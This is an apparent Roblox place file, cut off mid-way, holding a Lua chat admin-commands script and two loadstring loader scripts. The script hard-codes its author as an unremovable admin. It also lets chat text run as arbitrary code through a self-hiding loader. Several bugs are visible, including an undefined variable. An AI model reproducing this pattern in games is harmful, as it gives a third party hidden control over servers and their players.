<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Workspace" referent="RBX0">
		<Properties>
			<Ref name="CurrentCamera">RBX1</Ref>
			<double name="DistributedGameTime">0</double>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Workspace</string>
			<Ref name="PrimaryPart">null</Ref>
		</Properties>
		<Item class="Script" referent="RBX2">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">CloneTrooper1019&apos;s Admin Commands V1.1</string>
				<ProtectedString name="Source">------------------------------------------------------------------------------------------------------
local adminList = {&quot;CloneTrooper1019&quot;,&quot;YourNameHere&quot;,&quot;Player&quot;} -- These players cannot be removed using unadmin/
local clearableAdmin = {} -- This is used for the admin/ command. Any player on this list can be removed using unadmin/
local banList = {&quot;Someoneyouhate&quot;,&quot;Noob&quot;} -- This list is used to ban anyone from your game. You can also use the ban/ and unban/ command to control it.
local GamePassId  = 124446538 -- Put the ID of a GamePass that you would like to allow 
------------------------------------------------------------------------------------------------------
--&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;CURRENT COMMANDS:&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
--&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
--&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;kill/CloneTroope1019 &#9;&#9;&#9;&#9;&#9;&#9;- kills CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;kick/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- kicks CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;ban/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;- bans CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;unban/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- unbans CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;ff/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;- Gives a forcefield to CloneTrooper1019&#9;&#9;&#9;&#9;&#9; --
-- &#9;unff/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- removes a ForceField from CloneTrooper1019&#9;&#9;&#9;&#9; --
--&#9; &#9;admin/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- admins CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;unadmin/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- unadmins CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;sparkles/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- Adds sparkles to CloneTrooper1019&apos;s Torso&#9;&#9;&#9;&#9; --
-- &#9;unsparkles/CloneTrooper1019&#9;&#9;&#9;&#9;- removes Sparkles from CloneTrooper1019&#9;&#9;&#9;&#9;&#9; --
-- &#9;fire/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- Adds a fire to CloneTrooper1019&apos;s Torso&#9;&#9;&#9;&#9;&#9; --
-- &#9;unfire/CloneTrooper1019 &#9;&#9;&#9;&#9;&#9;- Removes fire from CloneTrooper1019&apos;s Torso&#9;&#9;&#9;&#9; --
-- &#9;smoke/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- Adds smoke to CloneTrooper1019&apos;s Torso&#9;&#9;&#9;&#9;&#9; --
-- &#9;unsmoke/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- Removes smoke to CloneTrooper1019&apos;s Torso&#9;&#9;&#9;&#9; --
-- &#9;teleport/CloneTrooper1019/Legostuntman&#9;- Teleports CloneTrooper1019 to Legostuntman&#9;&#9;&#9;&#9; --
-- &#9;cs/(Script Source Here)&#9;&#9;&#9;&#9;&#9;&#9;- Creates a Script with the source after the &apos;/&apos;&#9;&#9; --
-- &#9;cls/(LocalScript Source Here)&#9;&#9;&#9;&#9;- Creates a LocalScript with the source after the &apos;/&apos;  --
-- &#9;import/ID&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;- Inserts anything approved and places it next to you&#9; --
--&#9;&#9;punish/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- Puts CloneTrooper1019 in the Lighting&#9;&#9;&#9;&#9;&#9; --
-- &#9;unpunish/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- removes CloneTrooper1019 from the Lighting&#9;&#9;&#9;&#9; --
-- &#9;jump/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;- Makes CloneTrooper1019 Jump&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;sit/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;&#9;&#9;- Makes CloneTrooper1019 Sit&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;explode/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- Makes CloneTrooper1019 Explode&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
--&#9;&#9;respawn/CloneTrooper1019&#9;&#9;&#9;&#9;&#9;- Makes CloneTrooper1019 Respawn&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-- &#9;commands&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;- Shows the list of commands on the top of the screen. --
--&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
--&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9; --
-------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------------
-- Below is the scripting for the commands script. Please do not mess with it unless you know what you are doing--
------------------------------------------------------------------------------------------------------------------

function IsAdmin(player)
&#9;for i = 1,#adminList do
&#9;&#9;if adminList[i] == player then
&#9;&#9;&#9;return true
&#9;&#9;end
&#9;end
&#9;for i = 1,#clearableAdmin do
&#9;&#9;if clearableAdmin[i] == player then
&#9;&#9;&#9;return true
&#9;&#9;end
&#9;end
&#9;return false
end

function IsTechnicalAdmin(player)
&#9;for i = 1,#clearableAdmin do
&#9;&#9;if clearableAdmin[i] == player.Name then
&#9;&#9;&#9;return true
&#9;&#9;end
&#9;end
&#9;return false
end

function findOnTable(t,s)
&#9;for i = 1,#t do
&#9;&#9;if t[i] == s then
&#9;&#9;&#9;return true
&#9;&#9;end
&#9;end
&#9;return false
end

function shout(player,m,t)
&#9;repeat wait () until player:findFirstChild(&quot;PlayerGui&quot;) ~= nil
&#9;local hint = Instance.new(&quot;Hint&quot;,player.PlayerGui)
&#9;hint.Text = m
&#9;game:GetService(&quot;Debris&quot;):AddItem(hint,t)
end

function tableNumber(t,s)
&#9;for i = 1,#t do
&#9;&#9;if t[i] == s then
&#9;&#9;&#9;return i
&#9;&#9;end
&#9;end
&#9;return nil
end

function getSlashNumber(str,from,to)
&#9;stop = false
&#9;for i = from,to do
&#9;&#9;if stop == true then return end
&#9;&#9;if string.sub(str,i,i) == &quot;/&quot; then
&#9;&#9;&#9;stop = true
&#9;&#9;&#9;return i+1
&#9;&#9;end
&#9;end
&#9;return nil
end

function removeFromTable(t,rmv)
&#9;local newTable = {}
&#9;for i = 1,#t do
&#9;&#9;if not t[i] == rmv then
&#9;&#9;&#9;table.insert(newTable,t[i])
&#9;&#9;end
&#9;end
&#9;return newTable
end

function getTableNumberWithShortcut(t,s)
&#9;for i = 1,#t do
&#9;&#9;if string.sub(t[i],1,#s) == s then
&#9;&#9;&#9;return i 
&#9;&#9;end
&#9;end
end

function findTool(s)
&#9;local t = {}
&#9;s = string.lower(s)
&#9;if s == &quot;all&quot; then
&#9;&#9;local stuff = game.Lighting:GetChildren()
&#9;&#9;for i = 1,#stuff do
&#9;&#9;&#9;if stuff[i]:IsA(&quot;Tool&quot;) then
&#9;&#9;&#9;&#9;table.insert(t,stuff[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return t
&#9;elseif s == &quot;random&quot; then
&#9;&#9;local randomT = {}
&#9;&#9;local stuff = game.Lighting:GetChildren()
&#9;&#9;for i = 1,#stuff do
&#9;&#9;&#9;if stuff[i]:IsA(&quot;Tool&quot;) then
&#9;&#9;&#9;&#9;table.insert(randomT,stuff[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;local tool = randomT[math.random(1,#randomT)]
&#9;&#9;table.insert(t,tool)
&#9;&#9;return t
&#9;else
&#9;&#9;local results = {}
&#9;&#9;local stuff = game.Lighting:GetChildren()
&#9;&#9;for i = 1,#stuff do
&#9;&#9;&#9;if stuff[i]:IsA(&quot;Tool&quot;) then
&#9;&#9;&#9;&#9;table.insert(results,stuff[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;for i = 1,#results do
&#9;&#9;&#9;if string.lower(string.sub(results[i].Name,1,#s)) == s then
&#9;&#9;&#9;&#9;table.insert(t,results[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return t
&#9;end
end
&#9;&#9;
function findPlayer(sender,s)
&#9;local people = game.Players:GetPlayers()
&#9;local t = {}
&#9;s = string.lower(s)
&#9;if s == &quot;me&quot; then -- Yourself
&#9;&#9;table.insert(t,sender)
&#9;&#9;return t
&#9;elseif s == &quot;random&quot; then -- a random player
&#9;&#9;table.insert(t,people[math.random(1,#people)])
&#9;&#9;return t
&#9;elseif s == &quot;all&quot; then -- everyone
&#9;&#9;for i = 1,#people do
&#9;&#9;&#9;table.insert(t,people[i])
&#9;&#9;end
&#9;&#9;return t
&#9;elseif s == &quot;admins&quot; then -- the admins
&#9;&#9;for i = 1,#people do
&#9;&#9;&#9;if IsAdmin(people[i].Name) then
&#9;&#9;&#9;&#9;table.insert(t,people[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return t
&#9;elseif s == &quot;nonadmins&quot; then -- the non admins
&#9;&#9;for i = 1,#people do
&#9;&#9;&#9;if not IsAdmin(people[i].Name) then
&#9;&#9;&#9;&#9;table.insert(t,people[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return t
&#9;else -- A specific player
&#9;&#9;for i = 1,#people do
&#9;&#9;&#9;if string.lower(string.sub(people[i].Name,1,#s)) == s then
&#9;&#9;&#9;&#9;table.insert(t,people[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return t
&#9;end
end
&#9;&#9;&#9;
function onChatted(player,command)
&#9;if IsAdmin(player.Name) then
&#9;&#9;command = string.lower(command)
&#9;&#9;if string.sub(command,1,5) == &quot;kill/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,6))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if&#9;list[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Humanoid.Health = 0
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,5) == &quot;kick/&quot; then
&#9;&#9;&#9;if IsTechnicalAdmin(player) then -- We only want default admins for this command.
&#9;&#9;&#9;&#9;shout(player,&quot;You are not allowed to use this command.&quot;,3)
&#9;&#9;&#9;&#9;return 
&#9;&#9;&#9;end
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,6))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;list[i]:Destroy()
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,3) == &quot;ff/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,4))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;Instance.new(&quot;ForceField&quot;,list[i].Character)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end&#9;
&#9;&#9;elseif string.sub(command,1,5) == &quot;unff/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,6))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;ForceField&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.ForceField:Destroy()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,6) == &quot;admin/&quot; then
&#9;&#9;&#9;if IsTechnicalAdmin(player) then 
&#9;&#9;&#9;&#9;local hint = Instance.new(&quot;Hint&quot;,player.PlayerGui)
&#9;&#9;&#9;&#9;shout(player,&quot;You are not allowed to use this command.&quot;,3)
&#9;&#9;&#9;&#9;return
&#9;&#9;&#9;end
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,7))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if not findOnTable(clearableAdmin,list[i].Name) then
&#9;&#9;&#9;&#9;&#9;table.insert(clearableAdmin,list[i].Name)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,8) == &quot;unadmin/&quot; then
&#9;&#9;&#9;if IsTechnicalAdmin(player) then 
&#9;&#9;&#9;&#9;shout(player,&quot;You are not allowed to use this command.&quot;,3)
&#9;&#9;&#9;&#9;return 
&#9;&#9;&#9;end
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,9))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;clearableAdmin = removeFromTable(clearableAdmin,list[i].Name)
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,4) == &quot;ban/&quot; then
&#9;&#9;&#9;if IsTechnicalAdmin(player) then 
&#9;&#9;&#9;&#9;shout(player,&quot;You are not allowed to use this command.&quot;,3)
&#9;&#9;&#9;&#9;return 
&#9;&#9;&#9;end
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,5))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;table.insert(banList,list[i].Name)
&#9;&#9;&#9;&#9;list[i]:Destroy()
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,6) == &quot;unban/&quot; then
&#9;&#9;&#9;if IsTechnicalAdmin(player) then 
&#9;&#9;&#9;&#9;shout(player,&quot;You are not allowed to use this command.&quot;,3)
&#9;&#9;&#9;&#9;return 
&#9;&#9;&#9;end
&#9;&#9;&#9;local n = 0
&#9;&#9;&#9;local o = nil
&#9;&#9;&#9;if #string.sub(command,7) == 0 then return end
&#9;&#9;&#9;for i = 1,#banList do
&#9;&#9;&#9;&#9;if string.find(string.lower(banList[i]),string.sub(command,7)) == 1 then
&#9;&#9;&#9;&#9;&#9;n = n + 1
&#9;&#9;&#9;&#9;&#9;o = i
&#9;&#9;&#9;&#9;end 
&#9;&#9;&#9;end
&#9;&#9;&#9;if n == 1 then
&#9;&#9;&#9;&#9;print(banList[o])
&#9;&#9;&#9;&#9;table.remove(banList,o)
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,9) == &quot;sparkles/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,10))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;Instance.new(&quot;Sparkles&quot;,list[i].Character.Torso)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,11) == &quot;unsparkles/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,12))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;if list[i].Character.Torso:findFirstChild(&quot;Sparkles&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Torso.Sparkles:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,5) == &quot;fire/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,6))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;Instance.new(&quot;Fire&quot;,list[i].Character.Torso)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,7) == &quot;unfire/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,8))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;if list[i].Character.Torso:findFirstChild(&quot;Fire&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Torso.Fire:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,6) == &quot;smoke/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,7))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;Instance.new(&quot;Smoke&quot;,list[i].Character.Torso)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,8) == &quot;unsmoke/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,9))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Torso&quot;) ~= nil then
&#9;&#9;&#9;&#9;&#9;&#9;if list[i].Character.Torso:findFirstChild(&quot;Smoke&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Torso.Smoke:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,9) == &quot;teleport/&quot; then
&#9;&#9;&#9;local number = getSlashNumber(command,10)
&#9;&#9;&#9;if number then
&#9;&#9;&#9;&#9;local playerToTele = findPlayer(player,string.sub(command,10,number-2))[1]
&#9;&#9;&#9;&#9;local playerToGoTo = findPlayer(player,string.sub(command,number))[1]
&#9;&#9;&#9;&#9;if playerToTele == playerToGoTo then
&#9;&#9;&#9;&#9;&#9;shout(player,&quot;You cannot teleport to yourself.&quot;,3)
&#9;&#9;&#9;&#9;&#9;return
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if playerToTele and playerToGoTo then
&#9;&#9;&#9;&#9;&#9;if playerToTele.Character and playerToGoTo.Character then
&#9;&#9;&#9;&#9;&#9;&#9;if playerToTele.Character:findFirstChild(&quot;Torso&quot;) and playerToGoTo.Character:findFirstChild(&quot;Torso&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;playerToTele.Character.Torso.CFrame = playerToGoTo.Character.Torso.CFrame + Vector3.new(math.random(-3,3),0,math.random(-3,3))
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,3) == &quot;cs/&quot; then
&#9;&#9;&#9;local source = string.sub(msg,4,#msg)
&#9;&#9;&#9;local scriptLoader = script.ScriptLoader:clone()
&#9;&#9;&#9;scriptLoader.TheSource.Value = source
&#9;&#9;&#9;scriptLoader.Parent = game.Workspace
&#9;&#9;&#9;scriptLoader.Disabled = false
&#9;&#9;elseif string.sub(command,1,4) == &quot;cls/&quot; then
&#9;&#9;&#9;local source = string.sub(msg,5,#msg)
&#9;&#9;&#9;local scriptLoader = script.LocalScriptLoader:clone()
&#9;&#9;&#9;scriptLoader.TheSource.Value = source
&#9;&#9;&#9;scriptLoader.Parent = player.Character
&#9;&#9;&#9;scriptLoader.Disabled = false
&#9;&#9;elseif string.sub(command,1,7) == &quot;import/&quot; then
&#9;&#9;&#9;local ID = string.sub(command,8)
&#9;&#9;&#9;if ID then
&#9;&#9;&#9;&#9;if tonumber(ID) ~= nil then
&#9;&#9;&#9;&#9;&#9;local model = game:GetService(&quot;InsertService&quot;):LoadAsset(ID)
&#9;&#9;&#9;&#9;&#9;if model and (#model:GetChildren()) &gt; 0 then
&#9;&#9;&#9;&#9;&#9;&#9;model.Name = &quot;InsertedObject&quot;..ID
&#9;&#9;&#9;&#9;&#9;&#9;model.Parent = game.Workspace
&#9;&#9;&#9;&#9;&#9;&#9;model:MoveTo(player.Character.Torso.Position + Vector3.new(5,3,0))
&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;shout(player,&quot;ID is not approved by this game.&quot;,3)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;shout(player,&quot;Invalid ID&quot;,3)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;shout(player,&quot;No ID written.&quot;,3)
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,7) == &quot;punish/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,8))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;list[i].Character.Parent = game.Lighting
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,9) == &quot;unpunish/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,10))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;list[i].Character.Parent = game.Workspace
&#9;&#9;&#9;&#9;list[i].Character:MakeJoints()
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,5) == &quot;jump/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,6))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Humanoid&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Humanoid.Jump = true
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,4) == &quot;sit/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,5))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;if list[i].Character ~= nil then
&#9;&#9;&#9;&#9;&#9;if list[i].Character:findFirstChild(&quot;Humanoid&quot;) then
&#9;&#9;&#9;&#9;&#9;&#9;list[i].Character.Humanoid.Sit = true
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,8) == &quot;explode/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,9))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;local e = Instance.new(&quot;Explosion&quot;,workspace)
&#9;&#9;&#9;&#9;e.Position = list[i].Character.Torso.Position
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,8) == &quot;respawn/&quot; then
&#9;&#9;&#9;local list = findPlayer(player,string.sub(command,9))
&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;list[i]:LoadCharacter(true)
&#9;&#9;&#9;end
&#9;&#9;elseif string.sub(command,1,8) == &quot;commands&quot; then
&#9;&#9;&#9;if player.PlayerGui:findFirstChild(&quot;Hint&quot;) then return end
&#9;&#9;&#9;local hint = Instance.new(&quot;Hint&quot;,player.PlayerGui)
&#9;&#9;&#9;local commandsString = &quot;                                                Commands: kill/CloneTrooper1019, kick/CloneTrooper1019, ban/CloneTrooper1019, unban/CloneTrooper1019, ff/CloneTrooper1019, unff/CloneTrooper1019, admin/CloneTrooper1019, unadmin/CloneTrooper1019, sparkles/CloneTrooper1019, unsparkles/CloneTrooper1019, fire/CloneTrooper1019, unfire/CloneTrooper1019, smoke/CloneTrooper1019, unsmoke/CloneTrooper1019, teleport/CloneTrooper1019/Legostuntman, import/ID, punish/CloneTrooper1019, unpunish/CloneTrooper1019, jump/CloneTrooper1019, sit/CloneTrooper1019, explode/CloneTrooper1019, respawn/CloneTrooper1019                                                                &quot;
&#9;&#9;&#9;for i = 1,#commandsString-48 do
&#9;&#9;&#9;&#9;hint.Text = &quot;|&quot;..string.sub(commandsString,i,(i+48))..&quot;|&quot;
&#9;&#9;&#9;&#9;wait(0.1)
&#9;&#9;&#9;end
&#9;&#9;&#9;hint:Destroy()
&#9;&#9;end
&#9;end
end

function onPlayerEntered(player)
&#9;if findOnTable(banList,player.Name) then
&#9;&#9;player:Destroy()
&#9;end
&#9;if&#9;game:GetService(&quot;GamePassService&quot;):PlayerHasPass(player,GamePassId) then
&#9;&#9;table.insert(clearableAdmin,player.Name)
&#9;end
&#9;if IsAdmin(player.Name) or IsTechnicalAdmin(player.Name) then
&#9;&#9;wait(3)
&#9;&#9;shout(player,&quot;You have admin commands!&quot;,3)
&#9;&#9;wait(3)
&#9;&#9;shout(player,&quot;Say &apos;commands&apos; to see the list of commands&quot;,3)
&#9;&#9;player.Chatted:connect(function(s) onChatted(player,s) end)
&#9;end
end

game.Players.PlayerAdded:connect(onPlayerEntered)
print(script.Name..&quot; loaded!&quot;)</ProtectedString>
			</Properties>
			<Item class="LocalScript" referent="RBX3">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LocalScriptLoader</string>
					<ProtectedString name="Source">wait()
loadstring(script.TheSource.Value)()</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX4">
					<Properties>
						<string name="Name">TheSource</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">ScriptLoader</string>
					<ProtectedString name="Source">script.Parent = nil -- Just to keep the workspace clean. The script will still run.
wait()
loadstring(script.TheSource.Value)()
</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX6">
					<Properties>
						<string name="Name">TheSource</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX7">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Map</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX8">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
